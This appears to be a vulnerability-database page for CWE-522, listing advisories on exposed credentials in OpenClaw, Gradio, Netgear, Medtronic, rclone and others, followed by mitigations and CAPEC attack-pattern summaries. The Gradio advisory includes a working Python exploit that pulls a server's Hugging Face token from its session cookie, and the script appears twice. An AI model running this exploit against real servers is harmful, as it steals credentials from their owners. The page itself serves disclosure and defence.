CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1941 vulnerabilities reference this CWE, most recent first.
GHSA-H2VW-PH2C-JVWF
Vulnerability from github – Published: 2026-04-25 23:50 – Updated: 2026-05-19 15:56Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
>= 2026.4.5, < 2026.4.20 - Patched version:
2026.4.20
Impact
A malicious workspace .env could set MINIMAX_API_HOST and redirect credentialed MiniMax requests to an attacker-controlled origin, exposing the MiniMax API key in the outbound Authorization header.
This requires running OpenClaw from an attacker-controlled workspace. Severity is medium.
Fix
OpenClaw now blocks MINIMAX_API_HOST from workspace dotenv injection and removes env-driven URL routing from the affected MiniMax request path.
Fix commit:
2f06696579a1ab0cb5bbbbb6a900414a6b2e3cd1
Release
Fixed in OpenClaw 2026.4.20.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "2026.4.5"
},
{
"fixed": "2026.4.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44992"
],
"database_specific": {
"cwe_ids": [
"CWE-15",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:50:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003e= 2026.4.5, \u003c 2026.4.20`\n- Patched version: `2026.4.20`\n\n## Impact\n\nA malicious workspace `.env` could set `MINIMAX_API_HOST` and redirect credentialed MiniMax requests to an attacker-controlled origin, exposing the MiniMax API key in the outbound `Authorization` header.\n\nThis requires running OpenClaw from an attacker-controlled workspace. Severity is medium.\n\n## Fix\n\nOpenClaw now blocks `MINIMAX_API_HOST` from workspace dotenv injection and removes env-driven URL routing from the affected MiniMax request path.\n\nFix commit:\n\n- `2f06696579a1ab0cb5bbbbb6a900414a6b2e3cd1`\n\n## Release\n\nFixed in OpenClaw `2026.4.20`.",
"id": "GHSA-h2vw-ph2c-jvwf",
"modified": "2026-05-19T15:56:13Z",
"published": "2026-04-25T23:50:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-h2vw-ph2c-jvwf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44992"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/2f06696579a1ab0cb5bbbbb6a900414a6b2e3cd1"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-minimax-api-host-override-via-workspace-dotenv"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Workspace dotenv MiniMax host override could redirect credentialed requests"
}
GHSA-H2W7-2V8J-JGM7
Vulnerability from github – Published: 2025-03-11 00:31 – Updated: 2025-03-11 00:31In Nintex Automation 5.6 and 5.7 before 5.8, the K2 SmartForms Designer folder has configuration files (web.config) containing passwords that are readable by unauthorized users.
{
"affected": [],
"aliases": [
"CVE-2025-27926"
],
"database_specific": {
"cwe_ids": [
"CWE-276",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-10T23:15:35Z",
"severity": "MODERATE"
},
"details": "In Nintex Automation 5.6 and 5.7 before 5.8, the K2 SmartForms Designer folder has configuration files (web.config) containing passwords that are readable by unauthorized users.",
"id": "GHSA-h2w7-2v8j-jgm7",
"modified": "2025-03-11T00:31:49Z",
"published": "2025-03-11T00:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27926"
},
{
"type": "WEB",
"url": "https://help.nintex.com/en-US/platform/ReleaseNotes/K2Five.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H2WQ-R4CC-9WQV
Vulnerability from github – Published: 2021-12-31 00:00 – Updated: 2022-07-13 00:01Netgear Nighthawk R6700 version 1.0.4.120 stores sensitive information in plaintext. All usernames and passwords for the device's associated services are stored in plaintext on the device. For example, the admin password is stored in plaintext in the primary configuration file on the device.
{
"affected": [],
"aliases": [
"CVE-2021-45077"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-30T22:15:00Z",
"severity": "HIGH"
},
"details": "Netgear Nighthawk R6700 version 1.0.4.120 stores sensitive information in plaintext. All usernames and passwords for the device\u0027s associated services are stored in plaintext on the device. For example, the admin password is stored in plaintext in the primary configuration file on the device.",
"id": "GHSA-h2wq-r4cc-9wqv",
"modified": "2022-07-13T00:01:50Z",
"published": "2021-12-31T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45077"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2021-57"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H3H8-3V2V-RG7M
Vulnerability from github – Published: 2026-03-01 01:00 – Updated: 2026-06-05 17:56Summary
Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingface_hub.get_token() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.
Affected Component
gradio/oauth.py — functions attach_oauth(), _add_mocked_oauth_routes(), and _get_mocked_oauth_info().
Root Cause Analysis
1. Real token injected into every visitor's session
When Gradio detects it is not running inside a Hugging Face Space (get_space() is None), it registers mocked OAuth routes via _add_mocked_oauth_routes() (line 44).
The function _get_mocked_oauth_info() (line 307) calls huggingface_hub.get_token() to retrieve the real HF access token configured on the host machine (via HF_TOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):
request.session["oauth_info"] = mocked_oauth_info
The mocked_oauth_info dict contains the real token at key access_token (line 329):
return {
"access_token": token, # <-- real HF token from server
...
}
2. Hardcoded session signing secret
The SessionMiddleware secret is derived from OAUTH_CLIENT_SECRET (line 50):
session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"
When running outside a Space, OAUTH_CLIENT_SECRET is not set, so the secret becomes the constant string "-v4", hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.
In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.
Attack Scenario
Prerequisites
- A Gradio app using OAuth components (
gr.LoginButton,gr.OAuthProfile, etc.) - The app is network-accessible (e.g.
server_name="0.0.0.0",share=True, port forwarding, etc.) - The host machine has a Hugging Face token configured
OAUTH_CLIENT_SECRETis not set (default outside of Spaces)
Steps
- Attacker sends a GET request to
http://<target>:7860/login/huggingface - The server responds with a 307 redirect to
/login/callback - The attacker follows the redirect; the server sets a
sessioncookie containing the real HF token - The attacker base64-decodes the cookie payload (everything before the first
.) to extract theaccess_token
Minimal Vulnerable Application
import gradio as gr
from huggingface_hub import login
login(token="hf_xxx...")
def hello(profile: gr.OAuthProfile | None) -> str:
if profile is None:
return "Not logged in."
return f"Hello {profile.name}"
with gr.Blocks() as demo:
gr.LoginButton()
gr.Markdown().attach_load_event(hello, None)
demo.launch(server_name="0.0.0.0")
Proof of Concept
#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
args = ap.parse_args()
base = args.target.rstrip("/")
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
# 1. Trigger mocked OAuth flow — server injects its own HF token into our session
s = requests.Session()
s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)
cookie = s.cookies.get("session")
if not cookie:
print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
sys.exit(1)
# 2. Decode the cookie payload (base64 before the first ".")
payload_b64 = cookie.split(".")[0]
payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding
data = json.loads(base64.b64decode(payload_b64))
token = data.get("oauth_info", {}).get("access_token")
if token:
print(f"[+] Leaked HF token: {token}")
else:
print("[-] No access_token found in session.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gradio"
},
"ranges": [
{
"events": [
{
"introduced": "4.16.0"
},
{
"fixed": "6.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27167"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-798"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-01T01:00:33Z",
"nvd_published_at": "2026-02-27T22:16:22Z",
"severity": "LOW"
},
"details": "## Summary\n\nGradio applications running outside of Hugging Face Spaces automatically enable \"mocked\" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor\u0027s session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner\u0027s HF token. The session cookie is signed with a hardcoded secret derived from the string `\"-v4\"`, making the payload trivially decodable.\n\n## Affected Component\n\n`gradio/oauth.py` \u2014 functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.\n\n## Root Cause Analysis\n\n### 1. Real token injected into every visitor\u0027s session\n\nWhen Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).\n\nThe function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183):\n\n```python\nrequest.session[\"oauth_info\"] = mocked_oauth_info\n```\n\nThe `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):\n\n```python\nreturn {\n \"access_token\": token, # \u003c-- real HF token from server\n ...\n}\n```\n\n### 2. Hardcoded session signing secret\n\nThe `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):\n\n```python\nsession_secret = (OAUTH_CLIENT_SECRET or \"\") + \"-v4\"\n```\n\nWhen running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `\"-v4\"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.\n\nIn practice, Starlette\u0027s `SessionMiddleware` stores the session data as **plaintext base64** in the cookie \u2014 the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.\n\n## Attack Scenario\n\n### Prerequisites\n\n- A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)\n- The app is network-accessible (e.g. `server_name=\"0.0.0.0\"`, `share=True`, port forwarding, etc.)\n- The host machine has a Hugging Face token configured\n- `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces)\n\n### Steps\n\n1. Attacker sends a GET request to `http://\u003ctarget\u003e:7860/login/huggingface`\n2. The server responds with a 307 redirect to `/login/callback`\n3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token\n4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`\n\n\n## Minimal Vulnerable Application\n\n```python\nimport gradio as gr\nfrom huggingface_hub import login\n\nlogin(token=\"hf_xxx...\")\n\ndef hello(profile: gr.OAuthProfile | None) -\u003e str:\n if profile is None:\n return \"Not logged in.\"\n return f\"Hello {profile.name}\"\n\nwith gr.Blocks() as demo:\n gr.LoginButton()\n gr.Markdown().attach_load_event(hello, None)\n\ndemo.launch(server_name=\"0.0.0.0\")\n\n```\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Gradio mocked OAuth leaks server\u0027s HF token via session + weak secret\nUsage: python exploit.py --target http://victim:7860\n python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080\n\"\"\"\nimport argparse\nimport base64\nimport json\nimport sys\nimport requests\n\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:7860\")\n ap.add_argument(\"--proxy\", default=None, help=\"HTTP proxy, e.g. http://127.0.0.1:8080\")\n args = ap.parse_args()\n\n base = args.target.rstrip(\"/\")\n proxies = {\"http\": args.proxy, \"https\": args.proxy} if args.proxy else None\n\n # 1. Trigger mocked OAuth flow \u2014 server injects its own HF token into our session\n s = requests.Session()\n s.get(f\"{base}/login/huggingface\", allow_redirects=True, verify=False, proxies=proxies)\n\n cookie = s.cookies.get(\"session\")\n if not cookie:\n print(\"[-] No session cookie received; target may not be vulnerable.\", file=sys.stderr)\n sys.exit(1)\n\n # 2. Decode the cookie payload (base64 before the first \".\")\n payload_b64 = cookie.split(\".\")[0]\n payload_b64 += \"=\" * (-len(payload_b64) % 4) # fix padding\n data = json.loads(base64.b64decode(payload_b64))\n token = data.get(\"oauth_info\", {}).get(\"access_token\")\n\n if token:\n print(f\"[+] Leaked HF token: {token}\")\n else:\n print(\"[-] No access_token found in session.\", file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-h3h8-3v2v-rg7m",
"modified": "2026-06-05T17:56:29Z",
"published": "2026-03-01T01:00:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27167"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e"
},
{
"type": "PACKAGE",
"url": "https://github.com/gradio-app/gradio"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/releases/tag/gradio@6.6.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-63.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret"
}
GHSA-H3M9-VW67-PC8X
Vulnerability from github – Published: 2023-06-13 21:30 – Updated: 2024-04-04 04:47The Alaris Infusion Central software, versions 1.1 to 1.3.2, may contain a recoverable password after the installation. No patient health data is stored in the database, although some site installations may choose to store personal data.
{
"affected": [],
"aliases": [
"CVE-2022-47376"
],
"database_specific": {
"cwe_ids": [
"CWE-257",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-13T20:15:08Z",
"severity": "HIGH"
},
"details": "The Alaris Infusion Central software, versions 1.1 to 1.3.2, may contain a recoverable password after the installation. No patient health data is stored in the database, although some site installations may choose to store personal data.",
"id": "GHSA-h3m9-vw67-pc8x",
"modified": "2024-04-04T04:47:58Z",
"published": "2023-06-13T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47376"
},
{
"type": "WEB",
"url": "https://www.bd.com/en-us/about-bd/cybersecurity/bulletin/alaris-infusion-central-recoverable-password-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-H3Q3-RM4G-PQJH
Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:49In Knowage through 6.1.1, an authenticated user who accesses the datasources page will gain access to any data source credentials in cleartext, which includes databases.
{
"affected": [],
"aliases": [
"CVE-2019-13348"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-28T16:15:00Z",
"severity": "HIGH"
},
"details": "In Knowage through 6.1.1, an authenticated user who accesses the datasources page will gain access to any data source credentials in cleartext, which includes databases.",
"id": "GHSA-h3q3-rm4g-pqjh",
"modified": "2024-04-04T01:49:54Z",
"published": "2022-05-24T16:55:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13348"
},
{
"type": "WEB",
"url": "https://blog.contentsecurity.com.au/knowage-password-disclosure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H42X-QCJR-3WW7
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2026-05-19 18:32A vulnerability was discovered in all versions of Medtronic MyCareLink 24950 and 24952 Patient Monitor. The affected products use per-product credentials that are stored in a recoverable format. An attacker can use these credentials for network authentication and encryption of local data at rest.
{
"affected": [],
"aliases": [
"CVE-2018-10622"
],
"database_specific": {
"cwe_ids": [
"CWE-257",
"CWE-313",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-10T18:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was discovered in all versions of Medtronic MyCareLink 24950 and 24952 Patient Monitor. The affected products use per-product credentials that are stored in a recoverable format. An attacker can use these credentials for network authentication and encryption of local data at rest.",
"id": "GHSA-h42x-qcjr-3ww7",
"modified": "2026-05-19T18:32:01Z",
"published": "2022-05-13T01:34:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10622"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2018/icsma-18-219-01.json"
},
{
"type": "WEB",
"url": "https://global.medtronic.com/xg-en/product-security/security-bulletins/mycarelink-8-7-18.html"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSMA-18-219-01"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-18-219-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105042"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H44Q-VVXG-Q9WR
Vulnerability from github – Published: 2023-02-23 00:30 – Updated: 2023-03-03 03:30Aztech WMB250AC Mesh Routers Firmware Version 016 2020 is vulnerable to PHP Type Juggling in file /var/www/login.php, allows attackers to gain escalated privileges only when specific conditions regarding a given accounts hashed password.
{
"affected": [],
"aliases": [
"CVE-2022-45599"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-22T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Aztech WMB250AC Mesh Routers Firmware Version 016 2020 is vulnerable to PHP Type Juggling in file /var/www/login.php, allows attackers to gain escalated privileges only when specific conditions regarding a given accounts hashed password.",
"id": "GHSA-h44q-vvxg-q9wr",
"modified": "2023-03-03T03:30:24Z",
"published": "2023-02-23T00:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45599"
},
{
"type": "WEB",
"url": "https://github.com/ethancunt/CVE-2022-45599"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H459-7MRX-8PVC
Vulnerability from github – Published: 2022-05-17 19:57 – Updated: 2024-04-03 23:59rubygem-hammer_cli_foreman: File /etc/hammer/cli.modules.d/foreman.yml world readable
{
"affected": [],
"aliases": [
"CVE-2014-0241"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-13T13:15:00Z",
"severity": "MODERATE"
},
"details": "rubygem-hammer_cli_foreman: File /etc/hammer/cli.modules.d/foreman.yml world readable",
"id": "GHSA-h459-7mrx-8pvc",
"modified": "2024-04-03T23:59:40Z",
"published": "2022-05-17T19:57:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0241"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2014-0241"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-0241"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H4MF-4V27-HGGJ
Vulnerability from github – Published: 2026-08-05 20:36 – Updated: 2026-08-05 20:361. Summary
WebDAV's default redirect handling can replay Basic authorization and configured Cookie headers over plaintext HTTP after a same-host HTTPS-to-HTTP redirect. This was reproduced through the real backend. Unlike the low-impact STS token in rclone's published S3 redirect advisory, Basic passwords and session cookies are complete reusable credentials, supporting a High rating when they grant normal WebDAV read/write access.
The credible threat requires a legitimate endpoint, gateway, or accelerator to emit an unsafe redirect and an adjacent/on-path actor to observe the plaintext hop. A report should not rely on a malicious original WebDAV endpoint because that endpoint already receives the credentials.
2. Affected Assets & Attack Surface
- Backend configuration/authentication:
backend/webdav/webdav.go:127-139,170-206,440-530 - Shared redirect callback:
lib/rest/rest.go:218-231 - HTTP client:
fs/fshttp/http.go:311-329 - Credentials: Basic passwords, bearer authorization, SharePoint/session cookies, and configured secret headers
- Confirmed affected version:
<= v1.74.0-240
3. Technical Root Cause Analysis
PreserveMethodRedirectFn limits redirect count and restores the original method, but it does not reject a transport downgrade or compare the full origin tuple. The client therefore relies on Go's hostname-oriented sensitive-header forwarding rules. Those rules can preserve Authorization and Cookie on a same-host redirect even when the new scheme is plaintext HTTP.
4. Proof-of-Concept & Evidence
- Configure the actual WebDAV backend with Basic credentials and a Cookie.
- Have the TLS endpoint return
307 Temporary Redirectto an HTTP listener on the same hostname and a different port. - rclone follows the redirect while preserving the WebDAV method.
- The plaintext listener receives both the Basic
Authorizationvalue and Cookie.
5. Impact Assessment
An on-path observer can reuse the captured password, bearer token, or session cookie for the account's permitted WebDAV operations. Confidentiality, integrity, and availability impact depend on that account's permissions.
6. Remediation Guidance
- Reject every HTTPS-to-HTTP redirect before replay.
- Forward authenticated requests by default only when scheme, hostname, and effective port are unchanged.
- Strip authorization, cookies, proxy credentials, and configured secret headers on all other redirects.
- Put necessary provider exceptions behind exact destination allowlists.
- Cover
301,302,303,307, and308in regression tests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.74.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/rclone/rclone"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.75.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-319",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T20:36:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## 1. Summary\n\nWebDAV\u0027s default redirect handling can replay Basic authorization and configured Cookie headers over plaintext HTTP after a same-host HTTPS-to-HTTP redirect. This was reproduced through the real backend. Unlike the low-impact STS token in rclone\u0027s published S3 redirect advisory, Basic passwords and session cookies are complete reusable credentials, supporting a High rating when they grant normal WebDAV read/write access.\n\nThe credible threat requires a legitimate endpoint, gateway, or accelerator to emit an unsafe redirect and an adjacent/on-path actor to observe the plaintext hop. A report should not rely on a malicious original WebDAV endpoint because that endpoint already receives the credentials.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- Backend configuration/authentication: `backend/webdav/webdav.go:127-139`, `170-206`, `440-530`\n- Shared redirect callback: `lib/rest/rest.go:218-231`\n- HTTP client: `fs/fshttp/http.go:311-329`\n- Credentials: Basic passwords, bearer authorization, SharePoint/session cookies, and configured secret headers\n- Confirmed affected version: `\u003c= v1.74.0-240`\n\n## 3. Technical Root Cause Analysis\n\n`PreserveMethodRedirectFn` limits redirect count and restores the original method, but it does not reject a transport downgrade or compare the full origin tuple. The client therefore relies on Go\u0027s hostname-oriented sensitive-header forwarding rules. Those rules can preserve `Authorization` and Cookie on a same-host redirect even when the new scheme is plaintext HTTP.\n\n## 4. Proof-of-Concept \u0026 Evidence\n\n1. Configure the actual WebDAV backend with Basic credentials and a Cookie.\n2. Have the TLS endpoint return `307 Temporary Redirect` to an HTTP listener on the same hostname and a different port.\n3. rclone follows the redirect while preserving the WebDAV method.\n4. The plaintext listener receives both the Basic `Authorization` value and Cookie.\n\n## 5. Impact Assessment\n\nAn on-path observer can reuse the captured password, bearer token, or session cookie for the account\u0027s permitted WebDAV operations. Confidentiality, integrity, and availability impact depend on that account\u0027s permissions.\n\n## 6. Remediation Guidance\n\n- Reject every HTTPS-to-HTTP redirect before replay.\n- Forward authenticated requests by default only when scheme, hostname, and effective port are unchanged.\n- Strip authorization, cookies, proxy credentials, and configured secret headers on all other redirects.\n- Put necessary provider exceptions behind exact destination allowlists.\n- Cover `301`, `302`, `303`, `307`, and `308` in regression tests.",
"id": "GHSA-h4mf-4v27-hggj",
"modified": "2026-08-05T20:36:10Z",
"published": "2026-08-05T20:36:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/security/advisories/GHSA-h4mf-4v27-hggj"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/commit/59b513b0e74fd2943ccbb8891d5ce00f860e6d26"
},
{
"type": "PACKAGE",
"url": "https://github.com/rclone/rclone"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/releases/tag/v1.75.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "rclone: WebDAV Credentials Survive a Same-Host HTTPS-to-HTTP Redirect"
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
